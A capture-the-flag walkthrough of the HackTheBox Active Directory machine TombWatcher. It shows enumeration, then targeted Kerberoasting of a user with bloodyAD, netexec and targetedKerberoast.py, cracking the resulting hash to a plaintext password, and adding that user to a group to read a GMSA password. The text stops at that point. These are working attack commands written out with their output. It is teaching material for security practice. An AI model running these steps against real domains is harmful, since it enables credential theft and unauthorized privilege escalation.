HTB: TombWatcher

TombWatcher is an assume breach active directory box. I’ll use BloodHound to find a path to another user with targeted Kerberoasting, GMSA, ForceChangePassword, and a shadow credential. This user has access to the AD Recycle Bin, where I’ll recover an old ADCS admin account. I’ll use that account to exploit ESC15 to get Administrator access.
Box Info
Name | TombWatcher ![]() Play on HackTheBox |
---|---|
Release Date | 07 Jun 2025 |
Retire Date | 11 Oct 2025 |
OS | Windows ![]() |
Base Points | Medium [30] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
00:11:12 |
![]() |
00:28:20 |
Creators | |
Scenario | As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV! |
Recon
Initial Scanning
nmap
finds 21 open TCP ports:
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.72
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-11 18:48 UTC
Nmap scan report for 10.10.11.72
Host is up (0.092s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49683/tcp open unknown
49684/tcp open unknown
49685/tcp open unknown
49701/tcp open unknown
49707/tcp open unknown
49726/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
oxdf@hacky$ nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.11.72
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-11 18:50 UTC
Nmap scan report for 10.10.11.72
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-11 22:53:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h02m52s, deviation: 0s, median: 4h02m51s
| smb2-time:
| date: 2025-06-11T22:53:54
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.78 seconds
The box shows many of the ports associated with a Windows Domain Controller. The domain is tombwatcher.htb
, and the hostname is DC01
.
There’s also a webserver, and WinRM should I find creds.
I’ll use netexec
to generate the hosts
file line and add it to the top of my hosts
file:
oxdf@hacky$ netexec smb 10.10.11.72 --generate-hosts-file hosts
SMB 10.10.11.72 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
oxdf@hacky$ cat hosts
10.10.11.72 DC01.tombwatcher.htb tombwatcher.htb DC01
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts
Initial Credentials
HackTheBox provides the following scenario associated with TombWatcher:
As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!
The creds do work:
oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'
SMB 10.10.11.72 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
They also work for LDAP, but not WinRM (unsurprisingly):
oxdf@hacky$ netexec ldap DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'
LDAP 10.10.11.72 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
oxdf@hacky$ netexec winrm DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'
WINRM 10.10.11.72 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
WINRM 10.10.11.72 5985 DC01 [-] tombwatcher.htb\henry:H3nry_987TGV!
Given that, I’ll want to prioritize things like:
- Web
- SMB shares
- Bloodhound (which includes most of the data from LDAP)
- ADCS
Website - TCP 80
Site
The website is just the default IIS page:

Tech Stack
The HTTP response headers show that it’s running ASP.NET on IIS:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sat, 16 Nov 2024 00:57:03 GMT
Accept-Ranges: bytes
ETag: "76e68173c237db1:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Wed, 11 Jun 2025 23:05:20 GMT
Content-Length: 703
The 404 page is the default IIS page:

Directory Brute Force
I’ll run feroxbuster
against the site:
oxdf@hacky$ feroxbuster -u http://10.10.11.72
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.72
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 2l 10w 156c http://10.10.11.72/aspnet_client => http://10.10.11.72/aspnet_client/
200 GET 334l 2089w 180418c http://10.10.11.72/iisstart.png
200 GET 32l 55w 703c http://10.10.11.72/
404 GET 40l 156w 1888c http://10.10.11.72/con
404 GET 40l 156w 1902c http://10.10.11.72/aspnet_client/con
301 GET 2l 10w 156c http://10.10.11.72/Aspnet_client => http://10.10.11.72/Aspnet_client/
301 GET 2l 10w 156c http://10.10.11.72/aspnet_Client => http://10.10.11.72/aspnet_Client/
404 GET 40l 156w 1888c http://10.10.11.72/aux
404 GET 40l 156w 1902c http://10.10.11.72/aspnet_client/aux
404 GET 40l 156w 1902c http://10.10.11.72/Aspnet_client/con
301 GET 2l 10w 167c http://10.10.11.72/aspnet_client/system_web => http://10.10.11.72/aspnet_client/system_web/
404 GET 40l 156w 1902c http://10.10.11.72/aspnet_Client/con
404 GET 40l 156w 1902c http://10.10.11.72/Aspnet_client/aux
301 GET 2l 10w 156c http://10.10.11.72/ASPNET_CLIENT => http://10.10.11.72/ASPNET_CLIENT/
404 GET 40l 156w 1913c http://10.10.11.72/aspnet_client/system_web/con
301 GET 2l 10w 167c http://10.10.11.72/Aspnet_client/system_web => http://10.10.11.72/Aspnet_client/system_web/
404 GET 40l 156w 1902c http://10.10.11.72/aspnet_Client/aux
400 GET 6l 26w 324c http://10.10.11.72/error%1F_log
400 GET 6l 26w 324c http://10.10.11.72/aspnet_client/error%1F_log
404 GET 40l 156w 1902c http://10.10.11.72/ASPNET_CLIENT/con
301 GET 2l 10w 167c http://10.10.11.72/aspnet_Client/system_web => http://10.10.11.72/aspnet_Client/system_web/
404 GET 40l 156w 1888c http://10.10.11.72/prn
404 GET 40l 156w 1913c http://10.10.11.72/aspnet_client/system_web/aux
404 GET 40l 156w 1902c http://10.10.11.72/aspnet_client/prn
404 GET 40l 156w 1913c http://10.10.11.72/Aspnet_client/system_web/con
400 GET 6l 26w 324c http://10.10.11.72/Aspnet_client/error%1F_log
404 GET 40l 156w 1902c http://10.10.11.72/ASPNET_CLIENT/aux
404 GET 40l 156w 1913c http://10.10.11.72/aspnet_Client/system_web/con
404 GET 40l 156w 1913c http://10.10.11.72/Aspnet_client/system_web/aux
404 GET 40l 156w 1902c http://10.10.11.72/Aspnet_client/prn
400 GET 6l 26w 324c http://10.10.11.72/aspnet_Client/error%1F_log
301 GET 2l 10w 167c http://10.10.11.72/ASPNET_CLIENT/system_web => http://10.10.11.72/ASPNET_CLIENT/system_web/
404 GET 40l 156w 1913c http://10.10.11.72/aspnet_Client/system_web/aux
404 GET 40l 156w 1902c http://10.10.11.72/aspnet_Client/prn
400 GET 6l 26w 324c http://10.10.11.72/aspnet_client/system_web/error%1F_log
404 GET 40l 156w 1913c http://10.10.11.72/ASPNET_CLIENT/system_web/con
404 GET 40l 156w 1913c http://10.10.11.72/aspnet_client/system_web/prn
400 GET 6l 26w 324c http://10.10.11.72/ASPNET_CLIENT/error%1F_log
400 GET 6l 26w 324c http://10.10.11.72/Aspnet_client/system_web/error%1F_log
404 GET 40l 156w 1913c http://10.10.11.72/ASPNET_CLIENT/system_web/aux
404 GET 40l 156w 1902c http://10.10.11.72/ASPNET_CLIENT/prn
404 GET 40l 156w 1913c http://10.10.11.72/Aspnet_client/system_web/prn
400 GET 6l 26w 324c http://10.10.11.72/aspnet_Client/system_web/error%1F_log
404 GET 40l 156w 1913c http://10.10.11.72/aspnet_Client/system_web/prn
400 GET 6l 26w 324c http://10.10.11.72/ASPNET_CLIENT/system_web/error%1F_log
404 GET 40l 156w 1913c http://10.10.11.72/ASPNET_CLIENT/system_web/prn
[####################] - 3m 270027/270027 0s found:46 errors:0
[####################] - 2m 30000/30000 295/s http://10.10.11.72/
[####################] - 2m 30000/30000 294/s http://10.10.11.72/aspnet_client/
[####################] - 2m 30000/30000 261/s http://10.10.11.72/Aspnet_client/
[####################] - 2m 30000/30000 248/s http://10.10.11.72/aspnet_Client/
[####################] - 2m 30000/30000 243/s http://10.10.11.72/aspnet_client/system_web/
[####################] - 2m 30000/30000 254/s http://10.10.11.72/ASPNET_CLIENT/
[####################] - 2m 30000/30000 261/s http://10.10.11.72/Aspnet_client/system_web/
[####################] - 2m 30000/30000 305/s http://10.10.11.72/aspnet_Client/system_web/
[####################] - 74s 30000/30000 405/s http://10.10.11.72/ASPNET_CLIENT/system_web/
Nothing interesting.
SMB - TCP 445
The SMB shares are the default ones for a Windows DC:
oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --shares
SMB 10.10.11.72 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.10.11.72 445 DC01 Enumerated shares
SMB 10.10.11.72 445 DC01 Share Permissions Remark
SMB 10.10.11.72 445 DC01 ----- ----------- ------
SMB 10.10.11.72 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.72 445 DC01 C$ Default share
SMB 10.10.11.72 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.72 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.72 445 DC01 SYSVOL READ Logon server share
There are no interesting files there.
There are four non-default users:
oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users
SMB 10.10.11.72 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.10.11.72 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.72 445 DC01 Administrator 2025-04-25 14:56:03 0 Built-in account for administering the computer/domain
SMB 10.10.11.72 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.72 445 DC01 krbtgt 2024-11-16 00:02:28 0 Key Distribution Center Service Account
SMB 10.10.11.72 445 DC01 Henry 2025-05-12 15:17:03 0
SMB 10.10.11.72 445 DC01 Alfred 2025-05-12 15:17:03 0
SMB 10.10.11.72 445 DC01 sam 2025-05-12 15:17:03 0
SMB 10.10.11.72 445 DC01 john 2025-05-19 13:25:10 0
SMB 10.10.11.72 445 DC01 Enumerated 7 local users: TOMBWATCHER
Bloodhound
Collection
I’ll collect Bloodhound data with RustHound-CE (cargo install rusthound-ce
, I had to sudo apt install build-essential libkrb5-dev libclang-dev
to get it to work). I’m using the Rust version because it collects ADCS data (where as the Python version does not as of TombWatcher’s release).
oxdf@hacky$ rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -c All
---------------------------------------------------
Initializing RustHound-CE at 19:19:01 on 06/11/25
Powered by @g0h4n_0
Special thanks to NH-RED-TEAM
---------------------------------------------------
[2025-06-11T19:19:01Z INFO rusthound_ce] Verbosity level: Info
[2025-06-11T19:19:01Z INFO rusthound_ce] Collection method: All
[2025-06-11T19:19:01Z INFO rusthound_ce::ldap] Connected to TOMBWATCHER.HTB Active Directory!
[2025-06-11T19:19:01Z INFO rusthound_ce::ldap] Starting data collection...
[2025-06-11T19:19:01Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:02Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=tombwatcher,DC=htb
[2025-06-11T19:19:02Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:03Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=tombwatcher,DC=htb
[2025-06-11T19:19:03Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=tombwatcher,DC=htb
[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=tombwatcher,DC=htb
[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=tombwatcher,DC=htb
[2025-06-11T19:19:05Z INFO rusthound_ce::json::parser] Starting the LDAP objects parsing...
[2025-06-11T19:19:05Z INFO rusthound_ce::objects::domain] MachineAccountQuota: 10
⢀ Parsing LDAP objects: 1%
[2025-06-11T19:19:05Z INFO rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates
[2025-06-11T19:19:05Z INFO rusthound_ce::json::parser] Parsing LDAP objects finished!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2025-06-11T19:19:05Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 9 users parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 61 groups parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 computers parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 2 ous parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 3 domains parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 74 containers parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 aiacas parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 rootcas parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 33 certtemplates parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] .//20250611191905_tombwatcher-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 19:19:05 on 06/11/25! Happy Graphing!
I’ll also collect with Python because at the time of TombWatcher’s release, RustHound-CE misses some other things:
oxdf@hacky$ bloodhound-ce-python -c all -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -ns 10.10.11.72
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 00M 17S
INFO: Compressing output into 20250612010529_bloodhound.zip
By collecting both, duplicate data is ignored, and I’ll get the fullest picture.
Analysis
I’ll start the Bloodhound CE docker container, and upload the data.
I’ll find the Henry user and mark them owned. Then I’ll look at Outbound Control:

There is some ADCS stuff that is open to all Domain Users, and doesn’t look super interesting. The Henry user also has WriteSPN
over Alfred. Some peaking ahead and looking at Outbound control, there’s a path from Henry to John that I’ll follow:

Auth as Alfred
Targeted Kerberoast
Strategy
Kerberoasting is targeting a service account because it has service principal name (SPN) configured, which means that any authenticated user can request a TGS for that account. That TGS is encrypted with the service account’s password, and if that password is weak, it can be bruteforced offline with something like hashcat
.
Targeted Kerberoasting involves adding an SPN to an account, and then Kerberoasting it (and ideally removing it after).
So while Alfred is almost certainly a user and not a service account, with the WriteSPN
access over the account, I can make it Kerberoastable and look for a weak password.
I’ve shown targeted Kerberoasting several times before, most recently in Delegate, and before that in Vintage, Administrator, and Blazorized.
via BloodyAD / netexec
I can also take the steps myself by first adding a SPN to alfred using bloodyAD
:
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName -v 'http/whatever'
[+] alfred's servicePrincipalName has been updated
Now netexec
can dump a hash:
oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -k --kerberoasting kerberoasting.hashes
LDAP dc01.tombwatcher.htb 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)
LDAP dc01.tombwatcher.htb 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
LDAP dc01.tombwatcher.htb 389 DC01 Skipping disabled account: krbtgt
LDAP dc01.tombwatcher.htb 389 DC01 Total of records returned 1
LDAP dc01.tombwatcher.htb 389 DC01 sAMAccountName: Alfred, memberOf: [], pwdLastSet: 2025-05-12 15:17:03.526670, lastLogon: <never>
LDAP dc01.tombwatcher.htb 389 DC01 $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb\Alfred*$84c9e7e58da58ff7ccc1d1257375d948$ba7d7185fd61fb68954298b7d04783b8991e4ab3ece93bdddee0cc57eb532484d75b3168abc71e93be29187f8a2fafc104c804995e3426538d6fa517d901c8bf0074bdd88717e92378eeafc65fe4971d1dc3aaa309655d41ad069723d1908de9b20265504c6f61350516c7c77b28046a47df87e4b514698b3f0b8a6113f227f3ea120f04253a5f12895c45e25c36803c8479780a30ae37c2311dc3357c218b9f15a655f2484afb64758929deca9171a44cec189398b9b5abf289bf92761968925c117d3b8260ccb4ec4d90b85403c16f80c5e705ac6dd12a001536dc21454a7a1fd391d45a8f9ad3e534a5a9782701caf1ccc8c38bc1a69978330dd10e32485b655abaebb257b7562c0caeea21f351dcab4bed8f775ff4115006bf3055e54074a1723412d0e5b89f2783dfc861335f7b732661cd9a1a95bd2fbf641b2612c049144be1dae76d46c4e7ba58ebaf925e0c6d6f0e45444f2d539d180e86f673a9af00dc03672e943c06433a6d8589061555f4295db586a264542e0b046b081546a5389e634390167205fb7e548748f5f0e5d334f94684b2e1ded014b0322b63052389de6edc8dc49be49571f068873fc4c3b1ca9fe92d27c0c5330d35bb148c0c3c1cab4bc367220025bcccd672425b8a473a31631452beb3e1ca6f25335f4ffc596a3bef3a23fed6e08d7dd5a8bbf5812d9f92541b423d5bfdfae61e918020ce92b26b87c599840907e2c3c3a24caadde29e48b83d62fc4ee968646b62b01e7689eeadd08bb32c5e7c77390866f687c206898bb6cea0e5f9a3b97deefee542dc2eac7f2f4a70d35d3da1a07071955de9723d79499df36fad712a2f976937006efd36a7800cb6546ac7e5e376dcf29402eceaa0f143dc885139162451950f22a2cd3377ffc99609c258054384d3126882a66933868545fac3c78129bf14ce19ab8098e3026eed70e84e021c2aaa1708bc8cedb48656e443f09aa47882fc57cc4bda2a5f9895a71a4c79320f4bec0d75d20ec4a218627207949a57cfd22fa4a0c950fe5693fc2bbc3a91acd127f1051df93a5d74becf6d2859b94b59f38e096a144c6790a87441cf1395a6d4165dc34f7879d683d1d8b4e1875c8be2db39f08018a2ceb454ac1b05ef5484baa7645d5f7d8351d48d8b73ebe9fc3fd6aa5efa9cef0aea2d31417d0364c3763e792e93cbb64c14818770a30b5574073e2929ddcacbdb1a48f28966c6aa951b1d2d0d618fef5078dda19a901b126a5c888b9554218f96328586119baca5d41ecdf53916aca20d41be3c1bca1ed90cb594d3f5b9c6523121ea8db140af7a6375c0dc4c6c94785f90c553a2bb38b9ec197042cd4e90df20796eabaca57cc665a1be5b78522a5dec362499bdfd38503403175b8e170870427dbe9088faf5b88573aff0240e381ddf6ff7ebed124d7f85c9c77488ab9353b2866698ea6c497fcb8e60c7f08a4d5bcbb8cb354843
I can cleanup the SPN by setting it to nothing (though there’s a cleanup script that will do it as well):
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName
[+] alfred's servicePrincipalName has been updated
via targetedKerberoast.py
I show how I “install” targetedKerberoast.py in my uv cheatsheet. Now I can just run it with creds asking for the hashcat format:
oxdf@hacky$ targetedKerberoast.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -f hashcat --dc-host dc01.tombwatcher.htb
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$99bbe5e5c062623bcfdc5751b129baa2$9c77d45777f1a435dd054207ec71d00595e558696c0cbc361b573cb2581fa7165fb4e062c7c020ec5e7166919600c4ca9ab7dbe3f12072051fac107862035922c0753a0a35e3f9f03076b5edc1265e6ab0f3387225db79f3745f27d492d58ace553af9f41057a85c153b86da12a1a4e98d65fc23d0bc8fff0e5e1902b4d7f63886d0e52bee205ff14a9d0f2efc73a7cd06ac41105400ce90ef36fd6a1ca8fa2c2baf0e5901a5cc716692b4bf15e68c805fe545e6c13cc5700fee0b4d19312239871d0bc1ac6b1cd4487d93a36146777479731d0c6f040f4db9fdd8e271fc3d89924597950fb1eed7857cf6365169b6e8d398248fb2cf2f4a042eb710ad2a0da81145d0d01320223697cb928768dcd8d3a849605c489620634c9aa5c1002248e6c320d3957511cffa3212a7f208712c88b5c73d103a4fb612d320b2d0cc5672a44d83248d740e949524d4d8ab38574b4cdd95adefd24380417832cb7c8468015d59c5e4d46f34af6b4d2367b02025b6f9854a7f2ab506cde1d138e77550fc8dbb1215975062047ab6c3d8a2b71d69b37b1bf592a01d52f70f7f726234a5df25e0e636a0746d1ac7397fc9441dec1ced01d77ffade018e0b4d0d577d88a9e6e86b0a9f3bd04f20866e0a3a8d273d71324510a3df35a083f3ef4dc6ca25e642f7eb7d0e1a8e765f7b743bdf1be7ecc95532ea46b5041b5823727736346f61860d5986c7a3bc2efcb5dcd68a23fea4586cafe0327d71c96fe6807e5e872fe49cdb899543e0b393a7ed22404be8a12a8743aa75583893b446db2cea44a0e02c690c12c3addbfa8665b22cb67acbfa2ac559a828afce91b2d70f3b2e6772656d03a203171083cfef7105ac4a57cfd5ca503ef4d895aeffb98372c77740e2894b503307b369b6b8c49fedea9967c07ef2202a3b8730f192fa008b59cd4ed1cb1ba0d72da7d0fcc992f5ec605e3795056417baf7dd5520d14282cb95eeffc179223a492102e175f585928a2159a661a808028bba0c6f4ba49e3e845d6ae2569b7e24c0e9e65af3c39bfff7a0201182f9b44eaaadc53e6f81b976b76bea11f84317d9a27b04c59b2fdc944a6f5c67804d88407115909aa9d89c699babd44289708dd89bffa7fb8b0a3fd910cbd5df96f7c9f939f255f89ad08fe35033717c5c66e289c77ec89c384b76d8106060535eea0f652c5c2d3ce293815dad5e36aab4e6c785e0344d497fd7b9a1c94337925a0e41efb80eb688f27820bff32d6a7bfe59316726ec61273f833e6e7cb26b3e3128426b6f1babf8ce6356aa08d62ca9cff28ae280b695ac351bed9f4a01ff3117b197dba1e34f76a90b79e13db76527beb95c60fd21bc0fcc309dddde8db253b0e926fc0f97a63f50390ad2a324c7fe60a83977f9aef573e650401147ec1ebc96760f36ba9aa3a9559b71ab1fd1141c6e8e4eecae14a1626d9cf63074737fc06d8a9a45efa7434663323b
This script will handle adding the SPN, getting a hash, and then removing the SPN.
Crack Hash
I’ll save either of the resulting hashes to a file (they will be different, as they are not actually a hash, but an encrypted challenge response), and pass it to hashcat
:
$ hashcat alfred.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[snip]...
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$99bbe5...[snip]...4663323b:basketball
...[snip]...
It cracks very quickly to “basketball”.
Validate Creds
The creds work:
oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u alfred -p basketball
SMB 10.10.11.72 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\alfred:basketball
But not over WinRM:
oxdf@hacky$ netexec winrm dc01.tombwatcher.htb -u alfred -p basketball
WINRM 10.10.11.72 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
WINRM 10.10.11.72 5985 DC01 [-] tombwatcher.htb\alfred:basketball
Auth as ANSIBLE_DEV$
Enumeration
Back in the Bloodhound data, Alfred has AddSelf
over the Infrastructure group, which can ReadGMSAPassword
from the ANSIBLE_DEV$ account:

Recover NTLM
Without being in the Infrastructure group, I’m not able to read the password:
oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa
LDAP 10.10.11.72 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\alfred:basketball
LDAP 10.10.11.72 389 DC01 Getting GMSA Passwords
LDAP 10.10.11.72 389 DC01 Account: ansible_dev$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: Infrastructure
I’ll add alfred using bloodyAD
:
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb add groupMember Infrastructure alfred
[+] alfred added to Infrastructure
Now alfred can read it using netexec
:
